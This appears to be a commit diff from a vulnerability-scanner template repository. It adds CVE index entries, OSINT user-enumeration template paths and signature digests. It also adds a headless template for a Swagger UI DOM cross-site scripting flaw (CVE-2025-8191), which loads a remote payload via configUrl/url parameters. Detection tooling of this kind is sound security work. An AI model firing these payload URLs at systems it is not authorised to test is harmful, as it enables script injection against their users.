chore: generate new addition list 🤖

chore: sign templates 🤖
chore: generate templates checksum 🤖
2026-11-07 17:43:44 -10:00 · 2025-08-08 07:42:35 +00:00 · 2025-08-08 07:42:14 +00:00 · 2025-08-08 07:42:12 +00:00 · 2025-08-08 00:41:49 -07:00 · 2025-08-08 12:19:08 +05:30
260 changed files with 2248 additions and 471 deletions
@@ -1,12 +1,54 @@
+headless/cves/2025/CVE-2025-8191.yaml
 http/cves/2022/CVE-2022-25237.yaml
 http/cves/2024/CVE-2024-2053.yaml
 http/cves/2025/CVE-2025-1595.yaml
+http/cves/2025/CVE-2025-25257.yaml
+http/cves/2025/CVE-2025-4334.yaml
 http/cves/2025/CVE-2025-44177.yaml
+http/cves/2025/CVE-2025-48954.yaml
+http/cves/2025/CVE-2025-53558.yaml
+http/cves/2025/CVE-2025-5394.yaml
+http/cves/2025/CVE-2025-54782.yaml
 http/cves/2025/CVE-2025-6197.yaml
+http/cves/2025/CVE-2025-8286.yaml
 http/default-logins/apache/apache-inlong-default-login.yaml
 http/default-logins/openmetadata/openmetadata-default-login.yaml
+http/exposed-panels/meddream-dicom-viewer-panel.yaml
+http/exposed-panels/opensign-panel.yaml
 http/exposed-panels/scalar-detection.yaml
+http/exposed-panels/suse-manager-panel.yaml
 http/miscellaneous/dnt-policy-detect.yaml
+http/misconfiguration/installer/zipline-installer.yaml
+http/misconfiguration/titiler-ssrf.yaml
+http/misconfiguration/tomcat-directory-listing.yaml
+http/osint/user-enumeration/9gag.yaml
+http/osint/user-enumeration/apple-developer.yaml
+http/osint/user-enumeration/apple-discussions.yaml
+http/osint/user-enumeration/atcoder.yaml
+http/osint/user-enumeration/bluesky.yaml
+http/osint/user-enumeration/cgtrader.yaml
+http/osint/user-enumeration/codechef.yaml
+http/osint/user-enumeration/geeksforgeeks.yaml
+http/osint/user-enumeration/genius-users.yaml
+http/osint/user-enumeration/giant-bomb.yaml
+http/osint/user-enumeration/hudsonrock.yaml
+http/osint/user-enumeration/kaskus.yaml
+http/osint/user-enumeration/lastfm.yaml
+http/osint/user-enumeration/letterboxd.yaml
+http/osint/user-enumeration/mixcloud.yaml
+http/osint/user-enumeration/monkeytype.yaml
+http/osint/user-enumeration/mydramalist.yaml
+http/osint/user-enumeration/nationstates-nation.yaml
+http/osint/user-enumeration/replit.yaml
+http/osint/user-enumeration/reverbnation.yaml
+http/osint/user-enumeration/runescape.yaml
+http/osint/user-enumeration/scribd.yaml
+http/osint/user-enumeration/sketchfab.yaml
+http/osint/user-enumeration/slack.yaml
+http/osint/user-enumeration/strava.yaml
+http/osint/user-enumeration/topcoder.yaml
+http/osint/user-enumeration/weblate.yaml
+http/osint/user-enumeration/younow.yaml
 http/technologies/apache/apache-inlong-detect.yaml
 http/technologies/nocobase-detect.yaml
 http/technologies/openmetadata-detect.yaml
@@ -3063,6 +3063,7 @@
 {"ID":"CVE-2025-24813","Info":{"Name":"Apache Tomcat Path Equivalence - Remote Code Execution","Severity":"critical","Description":"Path Equivalence- 'file.Name' (Internal Dot) leading to Remote Code Execution and/or Information disclosure and/or malicious content added to uploaded files via write enabled Default Servlet in Apache Tomcat.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-24813.yaml"}
 {"ID":"CVE-2025-24893","Info":{"Name":"XWiki Platform - Remote Code Execution","Severity":"critical","Description":"Any guest can perform arbitrary remote code execution through a request to SolrSearch. This impacts the confidentiality, integrity, and availability of the whole XWiki installation. This vulnerability has been patched in XWiki 15.10.11, 16.4.1, and 16.5.0RC1.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-24893.yaml"}
 {"ID":"CVE-2025-24963","Info":{"Name":"Vitest Browser Mode - Local File Read","Severity":"medium","Description":"Vitest is a testing framework powered by Vite. The `__screenshot-error` handler on the browser mode HTTP server that responds any file on the file system. Especially if the server is exposed on the network by `browser.api.host- true`, an attacker can send a request to that handler from remote to get the content of arbitrary files.This `__screenshot-error` handler on the browser mode HTTP server responds any file on the file system. This code was added by commit `2d62051`. Users explicitly exposing the browser mode server to the network by `browser.api.host- true` may get any files exposed. This issue has been addressed in versions 2.1.9 and 3.0.4. Users are advised to upgrade. There are no known workarounds for this vulnerability.\n","Classification":{"CVSSScore":"5.9"}},"file_path":"http/cves/2025/CVE-2025-24963.yaml"}
+{"ID":"CVE-2025-25257","Info":{"Name":"Fortinet FortiWeb - SQL Injection","Severity":"critical","Description":"An improper neutralization of special elements used in an SQL command ('SQL Injection') vulnerability [CWE-89] in FortiWeb may allow an unauthenticated attacker to execute unauthorized SQL code or commands via crafted HTTP or HTTPS requests.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-25257.yaml"}
 {"ID":"CVE-2025-2539","Info":{"Name":"File Away \u003c= 3.9.9.0.1 - Missing Authorization to Unauthenticated Arbitrary File Read","Severity":"high","Description":"The File Away plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the ajax() function in all versions up to, and including, 3.9.9.0.1. This makes it possible for unauthenticated attackers, leveraging the use of a reversible weak algorithm,  to read the contents of arbitrary files on the server, which can contain sensitive information.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-2539.yaml"}
 {"ID":"CVE-2025-2563","Info":{"Name":"User Registration \u0026 Membership \u003c= 4.1.1 - Unauthenticated Privilege Escalation","Severity":"critical","Description":"The User Registration \u0026 Membership plugin for WordPress is vulnerable to privilege escalation in versions up to, and including, 4.1.1. This is due to insufficient restrictions on role type in the 'prepare_members_data()' function. This makes it possible for unauthenticated attackers to create newuser accounts with the 'administrator' role, allowing complete control over the affected WordPress site.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-2563.yaml"}
 {"ID":"CVE-2025-2609","Info":{"Name":"MagnusBilling Login Logs - Cross-Site Scripting","Severity":"high","Description":"Improper neutralization of input during web page generation vulnerability in MagnusSolution MagnusBilling login logging allows unauthenticated users to store HTML content in the viewable log component accessible at /mbilling/index.php/logUsers/read\" cross-site scripting This vulnerability is associated with program files protected/components/MagnusLog.Php.This issue affects MagnusBilling- through 7.3.0.\n","Classification":{"CVSSScore":"8.2"}},"file_path":"http/cves/2025/CVE-2025-2609.yaml"}
@@ -3125,6 +3126,7 @@
 {"ID":"CVE-2025-41393","Info":{"Name":"Ricoh Web Image Monitor - Reflected XSS","Severity":"medium","Description":"A reflected cross-site scripting vulnerability exists in the laser printers and MFPs (multifunction printers) which implement Ricoh Web Image Monitor. If exploited, an arbitrary script may be executed on the web browser of the user who accessed Web Image Monitor.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2025/CVE-2025-41393.yaml"}
 {"ID":"CVE-2025-41646","Info":{"Name":"RevPi Webstatus \u003c= v2.4.5 - Authentication Bypass","Severity":"critical","Description":"An unauthorized remote attacker can bypass the authentication of the affected software package by misusing an incorrect type conversion. This leads to full compromise of the device\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-41646.yaml"}
 {"ID":"CVE-2025-4322","Info":{"Name":"Motors \u003c= 5.6.67 - Unauthenticated Privilege Escalation via Password Update/Account Takeover","Severity":"critical","Description":"The Motors theme for WordPress is vulnerable to privilege escalation via account takeover in all versions up to, and including, 5.6.67. This is due to the theme not properly validating a user's identity prior to updating their password. This makes it possible for unauthenticated attackers to change arbitrary user passwords, including those of administrators, and leverage that to gain access to their account.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-4322.yaml"}
+{"ID":"CVE-2025-4334","Info":{"Name":"Simple User Registration \u003c= 6.3 - Unauthenticated Privilege Escalation","Severity":"critical","Description":"The Simple User Registration plugin ≤ 6.3 is vulnerable to privilege escalation. It lacks proper restrictions on user meta values during registration. Unauthenticated attackers can exploit this to register as administrators.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-4334.yaml"}
 {"ID":"CVE-2025-4380","Info":{"Name":"Ads Pro Plugin \u003c= 4.89 - Local File Inclusion","Severity":"critical","Description":"The Ads Pro Plugin - Multi-Purpose WordPress Advertising Manager plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 4.89 via the 'bsa_template' parameter of the `bsa_preview_callback` function. This makes it possible for unauthenticated attackers to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases .php files can can be uploaded and included, or already exist on the site.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-4380.yaml"}
 {"ID":"CVE-2025-4388","Info":{"Name":"Liferay Portal - Cross-Site Scripting","Severity":"medium","Description":"A reflected cross-site scripting (XSS) vulnerability in the Liferay Portal 7.4.0 through 7.4.3.131, and Liferay DXP 2024.Q4.0 through 2024.Q4.5, 2024.Q3.1 through 2024.Q3.13, 2024.Q2.0 through 2024.Q2.13, 2024.Q1.1 through 2024.Q1.12, 7.4 GA through update 92 allows an remote non-authenticated attacker to inject JavaScript into the modules/apps/marketplace/marketplace-app-manager-web.\n","Classification":{"CVSSScore":"6.5"}},"file_path":"http/cves/2025/CVE-2025-4388.yaml"}
 {"ID":"CVE-2025-4396","Info":{"Name":"Relevanssi \u003c= 4.24.4 (Free) - Unauthenticated SQL Injection","Severity":"high","Description":"The Relevanssi – A Better Search plugin for WordPress is vulnerable to time-based SQL Injection via the cats and tags query parameters in all versions up to, and including, 4.24.4 (Free) and \u003c= 2.27.4 (Premium) due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries to already existing queries that can be used to extract sensitive information from the database.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-4396.yaml"}
@@ -3143,6 +3145,7 @@
 {"ID":"CVE-2025-47916","Info":{"Name":"Invision Community \u003c=5.0.6 Unauthenticated RCE via Template Injection","Severity":"critical","Description":"Invision Community 5.0.0 before 5.0.7 allows remote code execution via crafted template strings to themeeditor.php. The issue lies within the themeeditor controller (/applications/core/modules/front/system/themeeditor.php), where a protected method named customCss can be invoked by unauthenticated users. This method passes the value of the content parameter to the Theme::makeProcessFunction() method, which is evaluated by the template engine. Accordingly, unauthenticated attackers can inject and execute arbitrary PHP code by providing crafted template strings.\n","Classification":{"CVSSScore":"10"}},"file_path":"http/cves/2025/CVE-2025-47916.yaml"}
 {"ID":"CVE-2025-48827","Info":{"Name":"vBulletin 5.0.0-6.0.3 - Authentication Bypass","Severity":"critical","Description":"vBulletin 5.0.0 through 5.7.5 and 6.0.0 through 6.0.3 contain an authentication bypass caused by unauthenticated access to protected API controllers on PHP 8.1 or later, letting unauthenticated attackers invoke protected methods remotely.Starting from PHP 8.1, due to an internal adjustment to handling of ReflectionMethod::invoke() and similar methods, it now allows — by default — invocation of protected / private methods when using PHP's Reflection API.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-48827.yaml"}
 {"ID":"CVE-2025-48828","Info":{"Name":"vBulletin replaceAdTemplate - Remote Code Execution","Severity":"critical","Description":"vBulletin versions 5.0.0 through 6.0.3 contain a Remote Code Execution (RCE) vulnerability in the ajax/api/ad/replaceAdTemplate endpoint. This flaw arises from improper use of PHP's Reflection API, allowing unauthenticated attackers to invoke protected controller methods. By injecting a crafted \u003cvb:if\u003e conditional that executes arbitrary PHP code via passthru($_POST[\u003cparam\u003e]), and triggering it with a second request to ajax/render/ad_\u003clocation\u003e, attackers can run arbitrary commands on the server as the webserver user.\n","Classification":{"CVSSScore":"10"}},"file_path":"http/cves/2025/CVE-2025-48828.yaml"}
+{"ID":"CVE-2025-48954","Info":{"Name":"Discourse OAuth Social Login - Cross-site Scripting","Severity":"high","Description":"Discourse versions prior to 3.5.0.beta6 contain a stored Cross-Site Scripting (XSS) vulnerability in the OAuth/social login functionality. The vulnerability is caused by lack of proper content security policy enforcement when processing social login failures,allowing remote attackers to inject and execute malicious scripts in users' browsers.\n","Classification":{"CVSSScore":"8.1"}},"file_path":"http/cves/2025/CVE-2025-48954.yaml"}
 {"ID":"CVE-2025-49029","Info":{"Name":"WordPress Custom Login And Signup Widget Plugin \u003c= 1.0 - Arbitrary Code Execution","Severity":"high","Description":"Improper Control of Generation of Code ('Code Injection') vulnerability in bitto.Kazi Custom Login And Signup Widget allows Code Injection.This issue affects Custom Login And Signup Widget: from n/a through 1.0\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-49029.yaml"}
 {"ID":"CVE-2025-49113","Info":{"Name":"Roundcube Webmail - Remote Code Execution","Severity":"critical","Description":"Roundcube Webmail before 1.5.10 and 1.6.x before 1.6.11 allows remote code execution by authenticated users because the _from parameter in a URL is not validated in program/actions/settings/upload.php, leading to PHP Object Deserialization.\n","Classification":{"CVSSScore":"9.9"}},"file_path":"http/cves/2025/CVE-2025-49113.yaml"}
 {"ID":"CVE-2025-49132","Info":{"Name":"Pterodactyl Panel - Remote Code Execution","Severity":"critical","Description":"Pterodactyl is a free, open-source game server management panel. Using the /locales/locale.json with the locale and namespace query parameters, a malicious actor is able to execute arbitrary code without being authenticated.\n","Classification":{"CVSSScore":"10"}},"file_path":"http/cves/2025/CVE-2025-49132.yaml"}
@@ -3150,9 +3153,12 @@
 {"ID":"CVE-2025-5086","Info":{"Name":"Dassault Systèmes DELMIA Apriso (up to 2025) - Insecure Deserialization","Severity":"critical","Description":"A deserialization of untrusted data vulnerability affecting DELMIA Apriso from Release 2020 through Release 2025 could lead to a remote code execution.\n","Classification":{"CVSSScore":"9"}},"file_path":"http/cves/2025/CVE-2025-5086.yaml"}
 {"ID":"CVE-2025-52488","Info":{"Name":"DNN (DotNetNuke) - Unicode Path Normalization NTLM Hash Disclosure","Severity":"high","Description":"DNN (formerly DotNetNuke) is an open-source web content management platform (CMS) in the Microsoft ecosystem. In versions 6.0.0 to before 10.0.1, DNN.PLATFORM allows a specially crafted series of malicious interaction to potentially expose NTLM hashes to a third party SMB server. This issue has been patched in version 10.0.1.\n","Classification":{"CVSSScore":"8.6"}},"file_path":"http/cves/2025/CVE-2025-52488.yaml"}
 {"ID":"CVE-2025-5287","Info":{"Name":"Likes and Dislikes Plugin \u003c= 1.0.0 - Unauthenticated SQL Injection","Severity":"high","Description":"The Likes and Dislikes Plugin plugin for WordPress is vulnerable to SQL Injection via the 'post' parameter in all versions up to, and including, 1.0.0 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.  This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-5287.yaml"}
+{"ID":"CVE-2025-53558","Info":{"Name":"ZTE ZXHN-F660T/F660A - Default Credentials","Severity":"high","Description":"ZXHN-F660T and ZXHN-F660A provided by ZTE Japan K.K. use a common credential for all installations. With the knowledge of the credential, an attacker may log in to the affected devices.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-53558.yaml"}
 {"ID":"CVE-2025-53624","Info":{"Name":"Docusaurus Gists Plugin \u003c 4.0.0 - GitHub Personal Access Token Exposure","Severity":"high","Description":"The Docusaurus gists plugin adds a page to your Docusaurus instance, displaying all public gists of a GitHub user. docusaurus-plugin-content-gists versions prior to 4.0.0 are vulnerable to exposing GitHub Personal Access Tokens in production build artifacts when passed through plugin configuration options. The token, intended for build-time API access only, is inadvertently included in client-side JavaScript bundles, making it accessible to anyone who can view the website's source code.\n","Classification":{"CVSSScore":"8.6"}},"file_path":"http/cves/2025/CVE-2025-53624.yaml"}
 {"ID":"CVE-2025-53770","Info":{"Name":"Microsoft SharePoint Server - Remote Code Execution (ToolShell)","Severity":"critical","Description":"Deserialization of untrusted data in on-premises Microsoft SharePoint Server allows an unauthorized attacker to execute code over a network. Microsoft is aware that an exploit for CVE-2025-53770 exists in the wild. Microsoft is preparing and fully testing a comprehensive update to address this vulnerability. In the meantime, please make sure that the mitigation provided in this CVE documentation is in place so that you are protected from exploitation.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-53770.yaml"}
 {"ID":"CVE-2025-53833","Info":{"Name":"LaRecipe \u003c 2.8.1 Remote Code Execution via SSTI","Severity":"critical","Description":"LaRecipe is an application that allows users to create documentation with Markdown inside a Laravel app. Versions prior to 2.8.1 are vulnerable to Server-Side Template Injection (SSTI), which could potentially lead to Remote Code Execution (RCE) in vulnerable configurations.\n","Classification":{"CVSSScore":"10.0"}},"file_path":"http/cves/2025/CVE-2025-53833.yaml"}
+{"ID":"CVE-2025-5394","Info":{"Name":"Unauthenticated Arbitrary Plugin Upload in Alone Theme","Severity":"critical","Description":"The Alone – Charity Multipurpose Non-profit WordPress Theme theme for WordPress is vulnerable to arbitrary file uploads due to a missing capability check on the alone_import_pack_install_plugin() function in all versions up to, and including, 7.8.3.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-5394.yaml"}
+{"ID":"CVE-2025-54782","Info":{"Name":"NestJS DevTools Integration - Remote Code Execution","Severity":"critical","Description":"Nest is a framework for building scalable Node.js server-side applications. In versions 0.2.0 and below, a critical Remote Code Execution (RCE) vulnerability was discovered in the @nestjs/devtools-integration package. When enabled, the package exposes a local development HTTP server with an API endpoint that uses an unsafe JavaScript sandbox (safe-eval-like implementation). Due to improper sandboxing and missing cross-origin protections, any malicious website visited by a developer can execute arbitrary code on their local machine. The package adds HTTP endpoints to a locally running NestJS development server. One of these endpoints, /inspector/graph/interact, accepts JSON input containing a code field and executes the provided code in a Node.js vm.runInNewContext sandbox.\n","Classification":{"CVSSScore":"9.4"}},"file_path":"http/cves/2025/CVE-2025-54782.yaml"}
 {"ID":"CVE-2025-5569","Info":{"Name":"IdeaCMS \u003c= 1.7 - SQL Injection","Severity":"critical","Description":"IdeaCMS up to 1.7 is vulnerable to SQL injection via the field parameter in article and product query interfaces. This template uses a time-based payload to safely detect the vulnerability.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-5569.yaml"}
 {"ID":"CVE-2025-5777","Info":{"Name":"Citrix NetScaler Memory Disclosure - CitrixBleed 2","Severity":"critical","Description":"Insufficient input validation leading to memory overread on the NetScaler Management Interface NetScaler ADC and NetScaler Gateway\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-5777.yaml"}
 {"ID":"CVE-2025-5961","Info":{"Name":"WordPress WPvivid Backup \u0026 Migration Plugin \u003c= 0.9.116 - Authenticated Arbitrary File Upload","Severity":"high","Description":"The Migration, Backup, Staging – WPvivid Backup \u0026 Migration plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the 'wpvivid_upload_import_files' function in all versions up to, and including, 0.9.116.\n","Classification":{"CVSSScore":"8.8"}},"file_path":"http/cves/2025/CVE-2025-5961.yaml"}
@@ -3160,6 +3166,7 @@
 {"ID":"CVE-2025-6197","Info":{"Name":"Open Redirect via Organization Switching","Severity":"medium","Description":"An open redirect vulnerability has been identified in Grafana OSS organization switching functionality. Prerequisites for exploitation Multiple organizations must exist in the Grafana instance - Victim must be on a different organization than the one specified in the URL\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-6197.yaml"}
 {"ID":"CVE-2025-6851","Info":{"Name":"WordPress Broken Link Notifier \u003c 1.3.1 - Unauthenticated SSRF","Severity":"high","Description":"The Broken Link Notifier plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 1.3.0 via the ajax_blinks() function which ultimately calls the check_url_status_code() function. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-6851.yaml"}
 {"ID":"CVE-2025-6970","Info":{"Name":"WordPress Events Manager \u003c= 7.0.3 - SQL Injection","Severity":"critical","Description":"The Events Manager - Calendar, Bookings, Tickets, and more! plugin for WordPress is vulnerable to time-based SQL Injection via the 'orderby' parameter in all versions up to, and including, 7.0.3 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-6970.yaml"}
+{"ID":"CVE-2025-8286","Info":{"Name":"Güralp Systems FMUS Series - Unauthenticated Access","Severity":"critical","Description":"Güralp Systems FMUS Series Seismic Monitoring Devices expose an unauthenticated Telnet-based command line interface that allows attackers to modify hardware configurations, manipulate data, or factory reset the device.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-8286.yaml"}
 {"ID":"CVE-2001-1473","Info":{"Name":"Deprecated SSHv1 Protocol Detection","Severity":"high","Description":"SSHv1 is deprecated and has known cryptographic issues.","Classification":{"CVSSScore":"7.5"}},"file_path":"network/cves/2001/CVE-2001-1473.yaml"}
 {"ID":"CVE-2004-2687","Info":{"Name":"Distccd v1 - Remote Code Execution","Severity":"high","Description":"distcc 2.x, as used in XCode 1.5 and others, when not configured to restrict access to the server port, allows remote attackers to execute arbitrary commands via compilation jobs, which are executed by the server without authorization checks.\n","Classification":{"CVSSScore":"9.3"}},"file_path":"network/cves/2004/CVE-2004-2687.yaml"}
 {"ID":"CVE-2011-2523","Info":{"Name":"VSFTPD 2.3.4 - Backdoor Command Execution","Severity":"critical","Description":"VSFTPD v2.3.4 had a serious backdoor vulnerability allowing attackers to execute arbitrary commands on the server with root-level access. The backdoor was triggered by a specific string of characters in a user login request, which allowed attackers to execute any command they wanted.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"network/cves/2011/CVE-2011-2523.yaml"}
@@ -1 +1 @@
-a035127e8cdac3981a1525e82b9ac7e9
+f3cdc71e9b87bed8d5aeb991287ac185
@@ -23,4 +23,4 @@ dns:
      - type: regex
        regex:
          - "v=BIMI1(.+)"
-# digest: 490a004630440220144cb590d9b26dd8e1fd56ad6cb84d67c8063ee83efbe264e281f8ef8db116d702203c7ce396d27898d05a0e631abfddd1844576b7cb31852596b65fa3dbdc4cd218:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402201457662f22b233a514a8b08c34c1004b8ca1d22eae5fcfefdc75598fb63b6a7e02200884db9849b72a1cdd06dbc5e1d9bedaa131ea21511570c95d85effe4abe18de:922c64590222798bb761d5b6d8e72950
@@ -35,4 +35,4 @@ dns:
        group: 1
        regex:
          - "IN\\tNS\\t(.+)"
-# digest: 4b0a00483046022100d88188a9858184586962e3325bd1d333cc75ad21b6b3ebd1dbb5357988831449022100aac32d5a2d093046b11204b01d2261bd0b01e1d2378845c3d4cf1597d332c362:922c64590222798bb761d5b6d8e72950
+# digest: 490a004630440220385a61876dec7ba148d505d88508f45b5ce834b45b022ac0eb9e456c68a8998402202b0dd492150ef736a001625f18ef144e275aa30c84df5ebdc31ba8008c32de86:922c64590222798bb761d5b6d8e72950
@@ -81,4 +81,4 @@ dns:
        name: "edge-cast"
        words:
          - "edgecastdns.net"
-# digest: 4a0a00473045022100e7307621d15e187ade8dc349d483a9dfb49053dbbe94baa2b959b356adfccb4502203a116b3087fd12133d6c569edea7e6e941b6d8b8e05d8df098c3830f1cfdd45c:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450220750bbeee28c01c156e232d16d3bfa6e9a0a603ec692406078812c957c67c51c2022100b196d0c61d7389ae867329ae9c5637281a72b95e25805c4105ca9f1cb297041b:922c64590222798bb761d5b6d8e72950
@@ -23,4 +23,4 @@ dns:
      - type: regex
        regex:
          - "v=spf1(.+)"
-# digest: 4a0a00473045022051bcadfd59f2bd2150858b5121cf7ff00120dc273ab8bdd3671cb4787e5093c90221009f67c2189406c7123516ef8b05869609d400adaaf86358f3875d1e1ec61d4e61:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022028638b24318dd7aa15951848156efb961ae5996e74573d6d6e2151629fb7a2f402200d0ce40e0edbce840848fb3fb8c9c96e9f0a63bd8c17030c4cadff9e1a3cc6eb:922c64590222798bb761d5b6d8e72950
@@ -1,18 +1,18 @@
 id: txt-service-detect

-info:
-  name: DNS TXT Service - Detect
-  author: rxerium
-  severity: info
-  description: |
-    Finding the services companies use via their TXT records.
-  reference:
-    - https://www.abenezer.ca/blog/services-companies-use-txt-records
-  metadata:
-    verified: true
-    max-request: 1
-  tags: dns,txt
-
+info:
+  name: DNS TXT Service - Detect
+  author: rxerium
+  severity: info
+  description: |
+    Finding the services companies use via their TXT records.
+  reference:
+    - https://www.abenezer.ca/blog/services-companies-use-txt-records
+  metadata:
+    verified: true
+    max-request: 1
+  tags: dns,txt,txt-service
+
 dns:
  - name: "{{FQDN}}"
    type: TXT
@@ -218,4 +218,4 @@ dns:
        name: "whimsical"
        words:
          - "whimsical"
-# digest: 4b0a00483046022100f4522b37e6c10f63832c428973771b8a8f404977887c00c4e50c7230b1d7dfd5022100d8900238cc8b036564f29b1934ad9c331f0fcb0a73d1247f3df22a60c8801384:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402207ec3675142ea54eba24bb1d3ea2200da9e545a394f493e8cca8ff6d641094d6f0220485434b9d8790d8fa4d87f1f7cc96ddfce8d367bc957b827c5fb4168c057e330:922c64590222798bb761d5b6d8e72950
@@ -22,4 +22,4 @@ file:
          - 'InvalidOperationException'
          - 'UnauthorizedAccessException'
          - 'NotFound'
-# digest: 490a0046304402205d4b2d68068a3e1d23d46444224697aded58abcfefaeff9fd6eff1fde56d3a46022048d66a449fa58ad871365451924088f816ef3b1ca9aee5af56cf8e5960b10542:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100f33b5ec60be07a1b08181eeeade7ec1814419919827946fe8f7d1d7a3e05549f022100bb59b14f567cc301ddda026101ee360844b4af5fd38642a07a8b5ec007b33eb0:922c64590222798bb761d5b6d8e72950
@@ -30,4 +30,4 @@ file:
          - 'BadRequestError'
          - 'MongoError'
          - 'SequelizeDatabaseError'
-# digest: 4b0a00483046022100b9b483db74c03f17203be8295c244d8fb34b107654751c6d3208003551a0fa7c022100be8b6786d5cba42d0e12278f2296145e49d920d82c37e1a4f5e203cdab7b859a:922c64590222798bb761d5b6d8e72950
+# digest: 490a004630440220674720e408a075e9b78fa5ad345aa05ba98f92802f842bfa28e956874542ce9702207e71c3ceebfe747143729fcc939c868d68f02f22cf4d4cb516462d1a2f32cba6:922c64590222798bb761d5b6d8e72950
@@ -31,4 +31,4 @@ headless:
      - type: status
        status:
          - 200
-# digest: 4a0a0047304502202b10604a50f335a616cdc064c4e0c579f4a8bd6a80fbce3e9e1a29ab8d8c549b022100f1dcd720629b0cd7faa91c097bd5e6f3390a35cc98849db28713301850c0c9b4:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502200d8882c5c0d5ff06849dcd1254ffd48198b37800e07aa10ad1b4b136bf191368022100f25b19b2fecd8dee65c78ff06f219bafd8cbc2f97496bedb2fd92c678e02d232:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,68 @@
+id: CVE-2025-8191
+
+info:
+  name: Swagger UI >=3.14.1 < 3.38.0 - DOM Based Cross-Site Scripting
+  author: DhiyaneshDK
+  severity: medium
+  description: |
+    Swagger UI versions 3.14.1 through 3.37.x are vulnerable to DOM-based Cross-Site Scripting (XSS) attacks. The vulnerability occurs when processing malicious configuration URLs that contain XSS payloads in the Swagger specification. An attacker can craft a malicious configUrl parameter that, when processed by Swagger UI, executes arbitrary JavaScript code in the victim's browser context.
+  reference:
+    - https://blog.vidocsecurity.com/blog/hacking-swagger-ui-from-xss-to-account-takeovers/
+    - https://nvd.nist.gov/vuln/detail/CVE-2025-8191
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 6.1
+    cve-id: CVE-2025-8191
+    cwe-id: CWE-79
+    epss-score: 0.00123
+    epss-percentile: 0.47832
+    cpe: cpe:2.3:a:smartbear:swagger_ui:*:*:*:*:*:*:*:*
+  metadata:
+    verified: true
+    max-request: 1
+    vendor: smartbear
+    product: swagger_ui
+    shodan-query:
+      - http.component:"Swagger"
+      - http.component:"swagger"
+      - http.favicon.hash:"-1180440057"
+    fofa-query: icon_hash="-1180440057"
+    zoomeye-query: app:"Swagger UI"
+  tags: cve,cve2025,headless,swagger,xss,smartbear,dom-xss
+
+headless:
+  - steps:
+      - args:
+          url: '{{BaseURL}}/{{swagger_path}}'
+        action: navigate
+
+      - action: waitdialog
+        name: swagger_dom
+
+    payloads:
+      swagger_path:
+        - 'swagger/index.html?configUrl=https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/helpers/payloads/swagger.json'
+        - 'swagger/index.html?url=https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/helpers/payloads/swagger.json'
+        - 'swagger-ui.html?configUrl=https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/helpers/payloads/swagger.json'
+        - 'swagger-ui.html?url=https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/helpers/payloads/swagger.json'
+        - 'swagger-ui/index.html?configUrl=https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/helpers/payloads/swagger.json'
+        - 'swagger-ui/index.html?url=https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/helpers/payloads/swagger.json'
+        - 'api-docs?configUrl=https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/helpers/payloads/swagger.json'
+        - 'docs?configUrl=https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/helpers/payloads/swagger.json'
